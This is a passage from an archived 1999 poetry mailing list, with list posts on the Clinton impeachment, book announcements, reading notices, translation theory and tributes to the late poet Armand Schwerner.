The reference was to the great American novelist of last century, who denounced in his work the horrors of New England fundamentalism, where the witches of Salem were burned alive. His main novel, "The Scarlet Letter," is the drama of Hester Prynne, a young married woman who bore a child in secret by another man. A Kenneth Starr of the day condemned her to wear a penitent's shirt bearing the letter "A" of the Puritan code, the color and smell of blood.

An agent of the order followed her everywhere beating a drum so that pedestrians could keep out of her way. The ending must surely keep prosecutor Starr awake, for the secret father of Hester's child turned out to be a minister of the cult that made a martyr of her.

The method and the morality of the procedures were essentially the same. When Clinton's enemies failed to find what they needed to bring him down, they hounded him with mined interrogations until they trapped him here and there in minor inconsistencies. Then they forced him to accuse himself in public, and to apologize for things he had not even done, live, using the technology of universal information that is nothing more than a trimillennial version of the drums that persecuted Hester Prynne.

>From the prosecutor's questions, cunning and concupiscent, even small children became aware of the lies their parents told to keep from them how they came into being. Suffering from metal fatigue, Clinton committed the unpardonable folly of violently punishing an invented enemy 5,397 nautical miles from the White House, to distract attention from his personal plight.

Toni Morrison, winner of the Nobel Prize for literature and a great writer of this agonizing century, summed it up in one inspired phrase: "They treated him like a black president." SALON | Feb. 1, 1999

Translated by Alastair Reid

Gabriel García Márquez is the author of "One Hundred Years of Solitude," "Love in the Time of Cholera" and other books. He recently purchased the literary magazine Cambio, based in Colombia, to showcase the work of new Latin American authors and journalists, and this is the first article he has written for it.

© 1999 Cambio

↑ Index

53. Steven Shoemaker

Jameson ref

Wed 3 Feb 1999

Can anyone give me the citation for the notorious Jameson critique of Perelman & langpo? thanks, s

↑ Index

54. raea100900
Re: Pound Q: Dichtung equals...
Wed 3 Feb 1999

And I've been looking for the place where Ez praises H.D.'s work for being "straight as the Greek" with no "slither." I remember that but can't place it now.

Rae

↑ Index

55. Richard Carfagna
Re: robert lax
Wed 3 Feb 1999

Are you familiar with "Love had a Compass" publ. by Grove Press distributed by Publishers Book West.

From: POETICS[SMTP:[redacted]]
Sent: Tuesday, February 02, 1999 6:01 PM
To: [redacted]
Subject: robert lax

I am urgently trying to find either the complete (or an historically-broad selection from the) works of Robert Lax. Any suggestions? (Ideally with a UK distributor!) Backchannel - mailto:[redacted]

↑ Index

56. daniel bouchard
Re: Clinton according to Gabriel Garcia Marquez
Thu 4 Feb 1999

Marquez could have nailed this had he said "to their women" rather than "with their women."

At 11:19 AM 2/3/99 -0500, you wrote:
>Even sadder, however, is the fact that the president only wanted to do what >the run of men have done in private with their women from the beginning of >the world, and a Puritan stolidity not only impeded him, but even denied him >the right to deny it.

<<<<<<>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals

Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

↑ Index

57. Douglas
New Sun & Moon titles
Thu 4 Feb 1999

Sun & Moon Press has a number of new titles to announce. As usual, these are offered at a 20% discount to members of the Buffalo list.

Order from Sun & Moon Press, 6026 Wilshire Blvd., Los Angeles, CA 90036

[redacted]

HOW TO DO THINGS WITH WORDS, by Joan Retallack. $10.95
Retallack's most ambitious (and we believe wonderful) work yet! A collection of a beautiful frenzy of charts, drafts, encylopedias, dictionaries, lexicons, grammars, games, translations and just plain lingusitic arpeggios.

DON CARLOS, Thorvald Steen. $12.95

This novel, written by the young Norwegian writer, much beloved throughout Europe (he heads the Norwegian PEN organization), is a beautiful work of a young Italian laborer, living in Argentina in 1833, and writing home of his experiences, fears, intellectual doubts--most of them triggered by his chance meeting with a young English-man, Don Carlos, whom we know today and Charles Robert Darwin. The first volume of an incredible duet of fictions.

SEMMELWIES, Jens Bjorneboe $10.95

A play by the great Norwegian novelist and playright about the battles of Dr. Ignaz Semmelweiss, the founder of modern antiseptic techniques and the appalling events that happened because he argued for cleaning hands and insisted it was the major cause of "child-bed fever," which killed thousands of child-bearing mothers each year. For his beliefs he was ridiculed by his collegues, hounded by the police, fired from his position at the Vienna General Hospital, had his works banned, and finally was diven insane. A powerful drama.

FROM THE OTHER SIDE OF THE CENTURY II: A New American Drama 1960-1995 $29.95

The second volume in Sun & Moon's ongoing tribute the the literary arts in the last quarter of this century, this huge 1,200 page volume contains 38 plays, beginning with the park bench couple of Edward Albee's THE ZOO STORY and ending with the cemetary of Tony Kushner's REVERSE TRANSCRIPTION. In between are works of great poetry and amazing drama, including plays by Tina Howe, Mac Wellman, Tennessee Williams, Ed Bullins, John Guare, Ronald Tavel, Lee Breuer, Adrienne Kennedy, Sam Shepard, Richard Foreman, Pedro Pietri, Holly Hughes, Maria Irne Fornes, Len Jenkin, Erik Ehn, John Steppling, Kier Peters, Suzan-Lori Parks, David Greensapn, Murray Medick, Naoimi Izuka, Lynne Alvarez, Rosalyn Drexler--and others. If you enjoy theater you can't miss this volume.

UNDER THE AUTUMN STAR, Knut Hamsun $11.95

The newest offering of the great Nobel Prize-winning novelist. A lyrical and touching early work.

MAGIA D'AMORE, Murray Pomerance $12.95

In the stories of this volume, Scarmouche, Pierrot, Columbine, Imbroglio, Credenzo, Don Horacio Stupenzo, Smeraldine, Comtesse Frangipane, and dozens of other stock and imaginary characters of the Commedia dell'Arte enter, exit, and recombine in a series of sexual, societal, and political encounters. These sometimes scatalogical, often scandalous, always sexual figures jump across the pages and time like puppets who have escaped their creator's hands.

TALES OF MURASAKI and Other Poems, Martine Bellen $10.95

Bellen's National Poetry Series winning collection. A brilliant work

NEW AND SELECTED POEMS, Charles North $12.95

One of our very best poets displaying his wonderful talents-- past and present--in this great collection.

So----------please let others know. Our death has been highly highly exaggerated.

↑ Index

58. Hank Lazer

Discount Offer: Louis Zukofsky and the Poetry of Knowledge

Thu 4 Feb 1999

Announcing an inaugural volume in the new series Modern and Contemporary Poetics, edited by Charles Bernstein and Hank Lazer

In _Louis Zukofsky and the Poetry of Knowledge_, Mark Scroggins provides a provocative and advanced introduction to the thought and writing of Louis Zukofsky, aptly described as one of the "first postmodernists."

Poet, translator, and editor, Louis Zukofsky was born in New York City in 1904. Raised to speak first Yiddish and then English, he was fascinated by language from an early age. This deep preoccupation with language_its musicality, complex constructions, and fluid meaning_later became a key component in the development of his poetry. Friend to William Carlos Williams, Marianne Moore, and Ezra Pound, mentor to Robert Creeley and influence on many of the Language Movement poets, Zukofsky and his work stand squarely at the center of American poetry's transition from modernism to postmodernism. Scroggins advances thoughtful readings of Zukofsky's key critical essays, a wide variety of his shorter poems, and his "poem of a life," _"A"_. He carefully situates Zukofsky within his literary and historical contexts, examining his relationship to Pound, his 1930s Marxist politics, and his sense of himself as a Jewish modernist poet. Scroggins also places Zukofsky within an ongoing tradition of American poetry, including the work of Wallace Stevens, Charles Bernstein, Ronald Johnson, Michael Palmer, and John Taggart.

According to Joseph M. Conte, SUNY-Buffalo, "Scroggins's argument for the importance of Louis Zukofsky's antiepistemological poetics in the 20th century is fundamentally exact and very often brilliant. Hugh Kenner has said that the critics would be elucidating Zukofsky's hermetic texts well into the 22nd century. Scroggins is the critic most capable of ushering our appreciation of Zukofsky into the 21st century."

312 pages, 6 x 9
unjacketed cloth, $49.95
ISBN 0-8173-0907-1
paper, $24.95s
ISBN 0-8173-0957-8

SPECIAL OFFER TO POETICS LISTSERV

20% DISCOUNT WHEN YOU MENTION THAT YOU ARE ON THE POETICS LISTSERV

OFFER EXPIRES 15 March 1999

To order contact Michelle Sellers:

E-mail: [redacted]
Phone [redacted]
Fax [redacted] or mail to:
The University of Alabama Press
Marketing Department
Box 870380
Tuscaloosa, AL 35487-0380
Attn: Michelle Sellers

www.uapress.ua.edu

Scroggins/Louis Zukofsky, cloth discounted price $39.96
Scroggins/Louis Zukofsky, paper discounted price $19.96

Subtotal _____
Illinois residents add 8.75% sales tax _____
USA orders: add $3.50 postage for the first book and $.75 for each additional book _____
Canada residents add 7% sales tax _____
International orders: add $4.00 postage for the first book and $1.00 for each additional book _____
Enclosed as payment in full _____

(Make checks payable to The University of Alabama Press)

Bill my: _____Visa _____MasterCard Account number _____ Daytime phone_____ Expiration date _____
Full name_____
Signature _____
Address_____
City _____
State_____ Zip _____

↑ Index

59. Pritchett,Patrick

Re: Jameson ref

Thu 4 Feb 1999

Steven -

You can find it in the first chaper of FJ's _Postmodernism, or The Cultural Logic of Late Capitalism_ from Duke UP. Don't have a page cite handy but it's easy to spot since he quotes in its entirety BP's poem "China." He goes to some lengths to illustrate how this poem represents the breakdown of the syntagmatic chain which for Lacan signifies schizophrenia. Perelman addresses this critique in a chapter of his in _Marginalization of Poetry_ - as I recall, it focuses on a discussion of the strategies of parataxis.

Best,
Patrick Pritchett

> -----Original Message-----
> From: Steven Shoemaker [SMTP:[redacted]]
> Sent: Wednesday, February 03, 1999 11:07 AM
> To: [redacted]
> Subject: Jameson ref
>
> Can anyone give me the citation for the notorious Jameson critique of Perelman & langpo? thanks, s

↑ Index

60. Christopher Reiner
Avec Reading
Thu 4 Feb 1999

Just a reminder:

The Second Bay Area Reading for _An Avec Sampler #2_:

Michael Palmer

Lisa Lubasch
(flying in from New York City)

Charles Borkhuis
(flying in from New York City)

Saturday, Feb. 6th; 5 p.m. at The Attic, 3336 24th Street, near Mission, across from the 24th Street Bart Station.
Phone:[redacted]. Free.

↑ Index

61. Jamie Ferguson
Re: Steiner, Venuti, Polish Baroque verse
Thu 4 Feb 1999

On 29 Jan. I posted an invitation to an exchange of views on literary translation, an attempt to present an issue or two in the field, and one of my own translations. Harold Teichman was kind enough to respond to my post - privately, and then doubly kind in allowing me to quote him in a public reply. I hope Harold will forgive me for pulling him onto the open stage... my reason is simple:

I want to find out if the Poetics List, as it currently stands, is a place to discuss literary topics.

To my mention of three books on lit. transl. (Steiner's AFTER BABEL, Venuti's THE TRANSLATOR'S INVISIBILITY, and Barnstone's THE POETICS OF TRANSLATION), Harold answered that he had "mixed sympathies" about Steiner, that he hadn't gotten through BABEL, and asked what the other two authors where up to.

I wonder why exactly these sympathies are mixed, and about how other people react to Steiner - at least the Steiner in AFTER BABEL.

Harold also said that he has been working on translations of Celan for some time, and that he had recently been enthused by a conference at Stevens. I found a short description of the conference on the Stevens site, but would be very interested to find out in more detail what sorts of things went on.

In the meantime, here's my response. (You'll forgive the heavy-handed mis-en-scene in this letter. Shuttling back and forth between private and public correspondence is demanding work.)

As for Steiner: if you're interested to return to AFTER BABEL, you might look at two chapters in particular: "The Claims of Theory" and "The Hermeneutic Motion" - the latter is, in fact, a more detailed rehearsal of the matters treated in the former. You might not have reached these chapters if you only got half-way into the book; they contain the heart of what Steiner had to say about translation at the time. Much of the rest seems to me to represent a desire on his part to write a totalizing account of the subject - to place Translation in the larger field of Linguistics, and to square it with Interpretation in general. These are no doubt useful tasks in themselves, but in this book I don't see that they contribute anything much to the more particular points he makes in the two, central chapters mentioned above. The book, then, contains a high divide between the discussion of translation itself, the techniques and theories thereof, and extensive contextualization of Translation. The sole escapees of this division are the discussions, early in the book, of Borges' "Pierre Menard, Translator of the QUIXOTE" (if I remember that title correctly) and Benjamin's "The Task of the Translator": these sections are not included in the two central chapters, but are important for an understanding of what Steiner has to say there. They are, of course, two of the texts more referred to in The Literature On The Subject. "The Claims of Theory" and "The Hermeneutic Motion" are basic to an accounting of the history of strategies of, and views on, Translation.

Has anyone out there found recent work on the topic as good?

Venuti has written a book with a much more limited aim: to criticize a long-standing prejudice in Western taste for "natural"-sounding English in translation, for a language of translation that is inobtrusive, "invisible." He presents a chronological series of translations that were not written according to this model and shows how these translations were successfully rejected by various literary arbitrators, upholders of the "invisibility"-ideal. The real hero of the book, incidentally, is Paul Blackburn and his translations of the troubadors.

My complaint against Venuti is that in none of the translation-situations cited does he make an effort to demonstrate that the more obtrusive English is better suited to the task than a more transparent idiom would have been. He shows, for example, that Newmann's translation of Homer did not fit M. Arnold's ideals, that Arnold's ideals were in line with the "invisibility" of Venuti's book, and that Arnold managed to bully Newmann out of the ranks. For all of this, he quotes only one short extract from the actual translation, and the only analysis provided of the passage is... Arnold's! Venuti is preoccupied with demonstrating the repressive nature of this prejudice, and not its aesthetic wrongheadedness; he addresses censorship, not quality. This leaves the book, at least as far as I'm concerned, a headless trunk.

In any case, in reference to your translating Celan, it is interesting to find Joris taking it for granted, in his preface to BREATHTURN, that the point of good translation is to avoid "invisibility," to set the English of the translation into relief, by making it imitate foreign syntax, word formation, etc. (I don't have the book in front of me). Venuti's book seems to have made an impact.

I've only just started reading Barnstone.

As to your mention, Harold, of Beckett as translator: do you know his (collaborative) translations of Mexican poets, in an anthology edited by O. Paz? It is the only anthology of literature I have EVER seen that attempts to match the agedness of the English used in the translations with that of the source texts. Why aren't more anthologies produced in this way? How much patience would you have for an anthology of English literature in foreign translation, in which brother and sister Sidney were speaking language of the same period as were brother and sister Wordsworth?

Enough for now. We will come back to Pound later.

Some interesting sites for literary translation:

The University of Texas at Dallas Center for Literary Translation: http://www.utdallas.edu/research/cts/ (see also the special division on Literary Translation, Comparative Literature Department, at the University of Indiana, Bloomington)

Charles Bernstein's course, Resisting Translation:
http://writing.upenn.edu/epc/authors/bernstein/syllabi/transl.html

An electronic journal of translation (not just literary):
http://www.accurapid.com/journal/

A loose discussion of Benjamin, etc., on the RIF/T site:
http://writing.upenn.edu/epc/rift/rift04/edit0401.html

Others? (They are difficult to find.)

Yours, Jamie

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

62. Michael Heller
(no subject)
Thu 4 Feb 1999

Dear Friends of Armand,

Sad news. Armand died this morning at 9AM. There will be a funeral service on Sunday, Feb. 6th, Visiting 11:30AM --1 PM, Service at 1 PM at the Bayport Funeral Home, 683 Montauk Highway in Bayport. Telephone No,. of funeral home (for directions, etc.) is [redacted].

↑ Index

63. Charles Bernstein
Armand Schwerner (1927-1999)
Thu 4 Feb 1999

Poet, Scholar-Translator, Teacher
Armand Schwerner
died at 9:06 this morning.

go into all the places you're frightened of
and forget why you came, like the dead
[...]

from nothing, from nothing, the stone beginning, tell me my name, when I write and do accounts I am that other man
and keep from trembling, o at the heart's root is not cauldron but .....
come in come in come in come in says my pain
run from the sun, wander around in me and profit, the stars tell North but little else.

From nothing from nothing find me my name, say
in some clear way if the end is sadness, how the days of fishing are numbered, say whether may name begins in rage or music rooting about for its pleasure
o draw me from my Alabaster Self my millstone quartz marl me take me from my smooth whiteness my absence
OOualbpaga Dammara Damalo Karhenmou Amagaa ArigaaaAdambpaga
as a night lightens in dream rivers.
[...]
if the end is sadness, how the days of fishing are numbered, say saying I said begins in rage or music rooting about for pleasure, it must be possible says my pain, as night lightens in dream rivers. hunger the hunger. say is
.....
.....
.....
.....

(from The Tablets)

***

The funeral will be held this Sunday at Bayport Funeral Home, 683 Montauk Highway ([redacted])
11:30-1 Visiting
1pm Service
for further information contact Charles Morrow at [redacted]

↑ Index

64. Aldon Nielsen
Armand Schwerner
Thu 4 Feb 1999

> To: [redacted]
> From: Aldon Nielsen <[redacted]>
> Subject: Armand Schwerner
>
> If I remember correctly, the National Poetry Foundation (the Orono crew) is about to publish a collected TABLETS --
>
> and those of us who last saw Armand at Orono during the 50s conference came away with memories of his generosity and great enthusiasm -- My own favorite memory is of Armand teaching fellow passengers passages on the bamboo flute as our bus drove through impenetrable fog to an invisible tourist site --

> I also remember his comments on a panel at the conference (were they recorded by anybody?) where he spoke of that year in his youth when, as he put it, he "met the poets" --
>
> Armand was related, by the way, to Mickey Schwerner, the Civil Rights activist murdered in Mississippi along with his companions Goodman and Cheney -- Armand wrote movingly of this in his non-TABLETS poetry --

↑ Index

65. Maria Damon (Maria Damon)
Re: Armand Schwerner (1927-1999)
Thu 4 Feb 1999

dont know why but i'm finding myself devastated by this info. i guess i expected to talk to him again, make amends for our tiffs over the XCP conference... armand the magnificently difficult, the sweetly cranky old yidl. deep breath. dissolve the tablets.

At 4:24 PM 2/4/99, Charles Bernstein wrote:
>Poet, Scholar-Translator, Teacher
>Armand Schwerner
>died at 9:06 this morning.
>
>
>go into all the places you're frightened of
>and forget why you came, like the dead
>[...]
>
>from nothing, from nothing, the stone beginning, tell me my name, >when I write and do accounts I am that other man
>and keep from trembling, o at the heart's root is not cauldron but .....
>come in come in come in come in says my pain
>run from the sun, wander around in me and profit, the stars tell North
>but little else.
> From nothing from nothing find me my name, say
>in some clear way if the end is sadness, how the days of fishing are numbered, >say
>whether may name begins in rage or music rooting about for its pleasure
>o draw me from my Alabaster Self
>my millstone quartz marl me take me from my smooth whiteness my absence

>OOualbpaga Dammara Damalo Karhenmou Amagaa ArigaaaAdambpaga
>as a night lightens in dream rivers.
>++
>[...]
>if the end is sadness, how the days of fishing are numbered, say saying I said
>begins in rage or music rooting about for pleasure, it must be possible >says my pain, as night lightens in dream rivers. hunger the hunger. say is
>.....
>.....
>.....
>.....
>
>
>(from The Tablets)
>
>
>
>The funeral will be held this Sunday at Bayport Funeral Home, >683 Montauk Highway ([redacted])
>11:30-1 Visiting
>1pm Service
>for further information contact Charles Morrow at >[redacted]

↑ Index

66. Maria Damon (Maria Damon)

Re: Armand Schwerner (1927-1999)

Thu 4 Feb 1999

---

miekal and i just wrote these words, they seem relevant:

[omniscient imagination] [All texts are hypertexts] if we love them equally; and to map is to love. Every word is yours as deep as you want to go. Every filament part of a rhizomatic intertext that sustains all life in its interstices. The delicacy of the narrative balance is countered by a natural decay. Nothing is ever really lost, and you can always return to surer ground if you must.

[All texts are hypertexts] In an ur-civilization where thought is pre-empted by survival, one sentence suffices for all sentences. Tragically, the words are so dear that they can only be the last words on the lips of the dying.

At 4:24 PM 2/4/99, Charles Bernstein wrote:
>Poet, Scholar-Translator, Teacher
>Armand Schwerner

>died at 9:06 this morning.
>
>
>go into all the places you're frightened of
>and forget why you came, like the dead
>[...]
>
>from nothing, from nothing, the stone beginning, tell me my name, >when I write and do accounts I am that other man
>and keep from trembling, o at the heart's root is not cauldron but .....
>come in come in come in come in says my pain
>run from the sun, wander around in me and profit, the stars tell North
>but little else.
> From nothing from nothing find me my name, say
>in some clear way if the end is sadness, how the days of fishing are numbered,
>say
>whether may name begins in rage or music rooting about for its pleasure
>o draw me from my Alabaster Self
>my millstone quartz marl me take me from my smooth whiteness my absence
>OOualbpaga Dammara Damalo Karhenmou Amagaa ArigaaaAdambpaga
>as a night lightens in dream rivers.
>++
>[...]
>if the end is sadness, how the days of fishing are numbered, say saying I said
>begins in rage or music rooting about for pleasure, it must be possible >says my pain, as night lightens in dream rivers. hunger the hunger. say is
>.....
>.....
>.....
>.....
>
>
>(from The Tablets)
>
>
>
>The funeral will be held this Sunday at Bayport Funeral Home, >683 Montauk Highway ([redacted])
>11:30-1 Visiting
>1pm Service
>for further information contact Charles Morrow at >[redacted]

↑ Index

67. louis stroffolino

Re: Armand Schwerner (1927-1999)

Thu 4 Feb 1999

I had the honor of opening for Armand when he read in Phila. in 87 or 88, and I remember asking him what he thought of Ashbery (I was Ashbery-obsessed at the time), and he said that he had doubts about JA because it was like the layers of an onion, "there was nothing underneath the layers," to which I replied "well, at least it can make you cry" and he said it didn't for him, and then someone ushered him away... and this poem that Charles has posted makes it clear, I guess, that he, too, was interested in the "nothing".....

(i haven't read him in awhile, but used to think those Naranjara poems were his best.....)

"from nothing"-------- cs

On Thu, 4 Feb 1999, Charles Bernstein wrote:

> Poet, Scholar-Translator, Teacher
> Armand Schwerner
> died at 9:06 this morning.
>
> go into all the places you're frightened of
> and forget why you came, like the dead
> [...]
>
> from nothing, from nothing, the stone beginning, tell me my name,
> when I write and do accounts I am that other man
> and keep from trembling, o at the heart's root is not cauldron but .....
> come in come in come in come in says my pain
> run from the sun, wander around in me and profit, the stars tell North
> but little else.
> From nothing from nothing find me my name, say
> in some clear way if the end is sadness, how the days of fishing are numbered, say
> whether may name begins in rage or music rooting about for its pleasure
> o draw me from my Alabaster Self
> my millstone quartz marl me take me from my smooth whiteness my absence
> OOualbpaga Dammara Damalo Karhenmou Amagaa ArigaaaAdambpaga
> as a night lightens in dream rivers.
> ++
> [...]

> if the end is sadness, how the days of fishing are numbered, say saying I said
> begins in rage or music rooting about for pleasure, it must be possible
> says my pain, as night lightens in dream rivers. hunger the hunger. say is
> .....
> .....
> .....
> .....
>
> (from The Tablets)
>
> ***
>
> The funeral will be held this Sunday at Bayport Funeral Home,
> 683 Montauk Highway ([redacted])
> 11:30-1 Visiting
> 1pm Service
> for further information contact Charles Morrow at > [redacted]

↑ Index

68. charssmith
Re: Armand Schwerner (1927-1999)
Thu 4 Feb 1999

THE SOUL IS A THING THAT SLITHERS

it all turns like the impossible to hold, pauls mode, jerry's mode, teds mode, a la mode turn by turn, how can you say a style is a man when a man dies every other week and comes up racoon or whatever strange thing to himself constitutes surprise.

--Armand Schwerner
fr. _Seaweed_ (Black Sparrow, 1969)

↑ Index

69. Chris McCreary
address requests-- Synaesthetic, tight
Thu 4 Feb 1999

Hello. Hope address requests are in line w/ new list policies...

Does anyone out there know of e-mail addresses for either Alex Cigale & Synaesthetic or Ann Erickson & tight? If so, please backchannel.

Thanks for your time.

--Chris McCreary

↑ Index

70. Douglas Oliver
Re: Schwerner
Fri 5 Feb 1999

I'd like to send out a British message of regret at Armand Schwerner's death: here in Paris, we had been following the course of his illness with sadness.

The Tablets is a truly remarkable project in which so many of the concerns about language and certainty which keep returning to haunt modern poets were presented in terms of a mythical history, as if a scantly glimpsed civilisation were crossing through time, layered with ambiguity in its temporal voyage. I'm reminded of the fragments of a lost civilisation explored by the Magistrate in Coetzee's frightening book, Waiting for the Barbarians. The Tablets are not only the result of Armand's lifelong meditations upon language and spirituality (not least Tibetan), they are also funny. (He could get a little stiff with people who found them too funny and seemed to miss their depth.) I remember very fondly an evening in Paris when he read from the work and played his nose flute. (You see, even that becomes an unintentionally humorous sentence because of the word "nose": in fact, the nose flute made rather beautiful sounds and provided a sort of plainsong accompaniment to the twists and turns of the poetry.)

He was intensely serious about poetry, which is the essential mark of high talent. In the last conversation I had with him, he had picked up early the fact that the US now has an exciting younger generation of poets; and his enthusiasm then was, I think, typical of him. Mark's news of so much publication of his work is great; it must have been a better thought for him to retain amid the suffering of the last few months: a chance for the younger generations to pay back the attention he gave to them.

May I express sympathy and condolences to his closest circle, not least to Jackson M.

Best

Doug

↑ Index

71. Rebecca Wolff
Re: two ann(e)s are better
Fri 5 Feb 1999

So don't forget to come to our reading tomorrow:

Due to Anne Carson's mild but pernicious case of pneumonia, ANN LAUTERBACH will be stepping in graciously to join Jeffrey Eugenides at:

Saturday, 7 p.m.
St. Peter's Episcopal Church
346 W. 20th Street, between 8th and 9th.

ATTENDEES AT TOMORROW'S READING WILL RECEIVE A CHIT FOR HALF-PRICE ADMISSION TO ANNE CARSON'S READING, WHICH HAS BEEN RE-SCHEDULED FOR MARCH 6TH.

Admission is $7, or $12 gets you a year's subscription to Fence. RECEPTION TO FOLLOW.

↑ Index

72. Douglas another death
Fri 5 Feb 1999

Yet another death that is worth mentioning to the group. The New York Times reported yesterday that Marion Boyars died. Marion was one of the great publishers, publishing work in Britian by major world authors. For many years she and John Calder together published Calder & Boyars, the British publishers of Samuel Beckett, Henry Miller, Ken Kesey, John Cage, Eugene Ionesco, Jean Genet and many, many others. Together they fought pornography charges in Britian for their publication of Hubert Selby's Last Exit to Brooklyn. They lost, but won later in further cases. Calder and Boyars split up in the late 1960s, and both continued to publish. Marion published Julio Cortazar, Geroges Bataille, Ingmar Bergman, Elias Canetti, Kenzaburo Oe, and Michael Ondaatje--to name but a few. She was a true original: highly eccentric and passionate about good literature.

Douglas Messerli

↑ Index

73. Judy Roitman
A Chicago reading
Fri 5 Feb 1999

Stanley Lombardo will be reading from his translation of the Iliad and giving a short talk on the art and practice of translation at The Poetry Center of Chicago, in the Ballroom of the School of the Art Institute, 37 South Wabash Avenue, 6:00 pm Wednesday, February 17. For more information call [redacted].

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

↑ Index

74. Christina Fairbank Chirot
Re: alchemy bibliography
Fri 5 Feb 1999

---

actually one of the finest essays i know on the relations of .poetry and alchemy (aand a passionate defense of poetry)--is a letter written in Rodez asylum on 7 March 1946 by Antonin Artaud which was never sent and reworked as an esssay--the piece by Artaud is found in WATCHFIENDS & RACK SACREAMS WORKS FROM THE FINAL PERIOD and is cALLED "ON THE CHIMERES" IT IS on pp. 49-64 of the book, wwhich is edited & translated by Clayton Eshleman with Bernard Bador(Exact Change Boston, 1995) Artaud was writng to the critic Georges Le Breton, who had published an essay on Gerard de Nerval, called "la Cle des Chimeres: l'Alchimie" (Alchemy: the key to the Chimeres). Artaud asserts the explosion of the Great Work in Nerval's 12 sonnets is far greater than anything ever accomplished by real alchemy.
This is one of the finest and most lucid of any of Artaud's essays, from the point of view of a poet, who like Nerval was interned in asylums. The lucid, passionate lyricism when dealing with the most troubling aspects of madness to my mind echoes the astonishing AURELIA by Nerval (his last work before hanging himself). It also invokes the soaring, searing sonnets by Nerval.
Two recommended translations of "Les Chimeres" are that of Robert Duncan in BENDING THE BOW (New Directions 1968) and reprinted in Gerard de Nerval AURELIA AND OTHER WRITINGS Exact Change, 1995)--and also a very interesting version by Robin Blaser which appeared in his THE HOLY FOREST (Coach House Press, 1993)

I would highly recommend the Artaud to every one interested in Alchemy and Poetry--and of course, there is Rimbaud's "Alchimie du verbe" (Alchemy of the Word)
There is also Strindberg's explosive account of his efforts to become an alchemist while in Paris (the name at the moment escapes me; it is something along the lines of Diary of a Madman)
all best
dave baptiste chirot

↑ Index

75. Dale Smith
What's With Modern Art?
Fri 5 Feb 1999

WHAT'S WITH MODERN ART? by Frank O'Hara arrived from the printer this week. Those of you who have sent orders will receive a copy within a few days.

WHAT'S WITH MODERN ART? contains selected short reviews and other art writings by Frank O'Hara that were mostly published in Art News in the mid 1950s. The 40 page chapbook was edited by Bill Berkson and is available from Mike & Dale's Press for $5. Checks payable to Dale Smith or Hoa Nguyen should be sent to the address below.

Selections are available for viewing in Jacket's issue 6 at www.jacket.zip.com.au

Dale Smith

2925 Higgins Street

Austin, TX 78722

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

76. Joe Amato/Kass Fleisher stein online...
Fri 5 Feb 1999

---

just to note that _time sense_ has published a number of interesting pieces on stein online, incl. one by kass (above) at http://www.tenderbuttons.com/timesense/1_2.html

check it out!...

best,

joe

↑ Index

77. Poetics List
Note to Poetics
Fri 5 Feb 1999

All - an unanticipated hardware failure disabled all email service for the "buffalo.edu" domain from Wednesday night through last night. If you attempted to post to the Poetics List during this period, you're likely to have received bounced and/or error messages in reply - apologies for any confusion this may have caused.

I'll try to have the new messages received (if any) out as soon as possible; however our inbox seems to have been "more restored than restored," and contains, as if unread, copies of all messages received since before February first! I'll try not to send out duplicate messages, but inevitably there will be a few. If you've sent a post that does not arrive on Poetics, please notify me or resend - I'm obviously going to be doing a lot of deleting here, and the possibility for error is - possible.

Chris

↑ Index

78. Poetics List
Oasis Press publications
Fri 5 Feb 1999

---------- Original message (ID=3E29E91B) (82 lines) ----------

From: "Stephen Ellis" <[redacted]>
To: [redacted]
Subject: Oasis Press publications
Date: Fri, 05 Feb 1999 07:02:31 PST

OASIS PRESS BROADSIDES

11 x 17 folded sheets printed all sides; some double &/or triple issues, now approaching 50 in number, incl. writing of Daniel Zimmerman, Richard Blevins, Duncan McNaughton, Joe Napora, Ray DiPalma, versions of Mallarme (via Halliday Dresser) & Stefan George (via Tom Meyer), Edward Foster, Dale Smith, & others.

Also, Oasis Press fascicles, 16 to 24 pp. - same pg. size as broadsides, saddle stapled - incl. issues by Joel Lewis, Mark DuCharme, Mike Boughn.

Backlist available, mss. welcome; enqueries by mail only, please, to -

Oasis Press
c/o Stephen Ellis
23 Mitton Street
Portland, ME 04102

↑ Index

79. cwa
Shark Call
Fri 5 Feb 1999

Lytle Shaw asked me to forward this to the list. Chris

--

Shark, a journal of poetics and art writing, seeks submissions for two future issues to be organized around the themes of historiography and the encyclopedic.

Shark #3, Historiography. Deadline: June 15, 1999

How, on which interpretive registers, can art and poetry be understood as modes of historiography? To see contemporary art and poetry in relation to historiography (and not simply history) is to suggest that they are not secure producers of history, of a preserved reality whose documentation techniques we all know and understand. Instead, art arguably provides modes of inquiry about what the historical might be, about how we might imagine, construct, intervene in it. Contemporary art and poetry's historiographic capacities seem at least as broad as the lively and ongoing debates about what history itself might be: from the more traditional modes of state history, national history, hagiography and biography, to history of popular culture, of daily life, of private life, to histories of innovations within particular artistic media. But if art merely followed debates in historiography, it would hold less historiographic interest than it actually does: certainly art invents new (and as yet unarticulated) modes of historical inquiry and mapping. We seek essays and projects that explore or enact these questions. We do not publish poetry. As always, we also seek reviews that need not be tied thematically to the rest of the issue.

Shark #4, The Encyclopedic. Deadline: November 1, 1999

What is contemporary encyclopedism? How do recent art and poetry make use not simply of knowledge, but of the epistemological and aesthetic problems inherent in the arrangement and storage of knowledge. Responses range at least from aestheticizing to bureaucratizing spaces designed for interaction with regimes of knowledge. Similarly, the very spaces where artists explore such issues have expanded beyond the literal textual space of the encyclopedia page to the space of the installation, the painting series, the building, or the city. Perhaps the dreams of unimpeded rationalism and viewable totality that underlay the Enlightenment encyclopedic urge now seem securely outmoded (and impossible) enough to become interesting again. Or, perhaps the encyclopedic simply means something knew in contemporary culture. In any case, what are the aesthetic and intellectual possibilities of neo-encyclopedism? We seek essays and projects that explore or enact these questions. We do not publish poetry. As always, we also seek reviews that need not be tied thematically to the rest of the issue.

Our first issue, May 1998, was devoted to "the Pre-Poetic." Contributors:

Gregg Biglieri
Mary Burger
Dodie Bellamy
Adam DeGraff
Emilie Clark
Alex Cory
Craig Dworkin
Dmitry Golynko-Volfson
Robert Hale
Lyn Hejinian
Kevin Killian
Katy Lederer
Pamela Lu
Laura Moriarty
Eugene Ostashevsky
Leslie Scalapino
